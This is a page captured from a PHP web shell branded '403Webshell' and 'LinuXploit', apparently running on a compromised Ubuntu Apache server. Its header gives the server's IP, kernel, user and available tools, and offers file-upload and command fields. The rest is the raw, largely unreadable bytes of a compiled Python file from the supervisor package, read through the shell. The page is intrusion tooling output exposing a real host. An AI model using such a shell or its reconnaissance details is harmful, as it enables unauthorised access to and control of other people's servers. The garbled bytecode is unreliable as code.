403Webshell
Server IP : 46.62.235.243  /  Your IP : 216.73.216.163
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/supervisor/medusa/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/supervisor/medusa/__pycache__/xmlrpc_handler.cpython-312.pyc
�

k��c?��&�dZddlmZddlmcmZ	ddlZddl	Z	Gd�d�Z
Gd�d�Zedk(rQGd	�d
e
�Z
ddlmcmZej
dd�Ze
�Zej'e�ej(�yy#ddlmZY�yxYw)
z@$Id: xmlrpc_handler.py,v 1.6 2004/04/21 14:09:24 akuchling Exp $�)�	as_stringNc�$�eZdZd�Zd�Zd�Zd�Zy)�xmlrpc_handlerc�*�|jdddk(ryy)N�z/RPC2�r)�uri��self�requests  �B/usr/lib/python3/dist-packages/supervisor/medusa/xmlrpc_handler.py�matchzxmlrpc_handler.matchs���;�;�r��?�g�%���c�h�|jdk(rt||�|_y|jd�y)N�POSTi�)�command�	collector�errorr
s  r
�handle_requestzxmlrpc_handler.handle_requests)���?�?�f�$� )�4�� 9�G���M�M�3�rc
��tj|�\}}		|j||�}t|�td�k7r|f}tj|d��}d|d<|j|�|j�y#tjtj
dt
j�d�dt
j�d����}Y��xYw#|jd�YyxYw)	N�r)�methodresponser�:ztext/xmlzContent-Typei�)�	xmlrpclib�loads�call�type�dumps�Fault�sys�exc_info�push�doner)r�datar�params�method�responses      r
�continue_requestzxmlrpc_handler.continue_request#s���"���$�/����	�

H��9�9�f�f�5����>�T�"�X�-� (�{�H�%�?�?�H�Q�G��'1�G�N�#��L�L�(�#��L�L�N��
�$�?�?�!����s�|�|�~�a�7H�#�,�,�.�YZ�J[�,\�]����
	 ��M�M�3��s�,B�C$�AC!�C$�$C9c��td��)N�NotYetImplemented)�	Exception�rr&r%s   r
rzxmlrpc_handler.call;s���+�,�,rN)�__name__�
__module__�__qualname__rrr(rrrr
rrs��� ��0-rrc�"�eZdZdZd�Zd�Zd�Zy)rz'gathers input for POST and PUT requestsc���||_||_g|_|jd�}|s|j	d�yt|�}|jjj|�y)Nzcontent-lengthi�)�handlerrr$�
get_headerr�int�channel�set_terminator)rr2r�cls    r
�__init__zcollector.__init__CsZ����������	��
�
�!1�
2����M�M�3���R��B��L�L� � �/�/��4rc�:�|jj|�y)N)r$�append�rr$s  r
�collect_incoming_datazcollector.collect_incoming_dataSs���	�	����rc���|jjjd�tdj	|j
��}|jj||j�y)Ns

r)rr5r6r�joinr$r2r(r;s  r
�found_terminatorzcollector.found_terminatorVsI�������+�+�[�9�����$�)�)�,�-�����%�%�t�T�\�\�:rN)r-r.r/�__doc__r8r<r?rrr
rr?s��1�5� �;rr�__main__c��eZdZd�Zy)�rpc_democ�&�td|�d|���y)Nzmethod="z	" params=zSure, that works)�printr,s   r
rz
rpc_demo.callas���V�V�<�=�%rN)r-r.r/rrrr
rCrC_s��	&rrC�i@)�VERSION�supervisor.compatr�supervisor.medusa.http_server�medusa�http_serverr�
xmlrpc.client�clientr rrr-rC�supervisor.medusa.asyncore_25�asyncore_25�asyncore�hs�rpc�install_handler�looprrr
�<module>rUs���M��'�3�3�&���)-�)-�V;�;�<�z��&�N�&�5�4�	 ��	 �	 �"�d�	+�B�
�*�C�������H�M�M�O���]&�%�s�B�B

Youez - 2016 - github.com/yon3zu
LinuXploit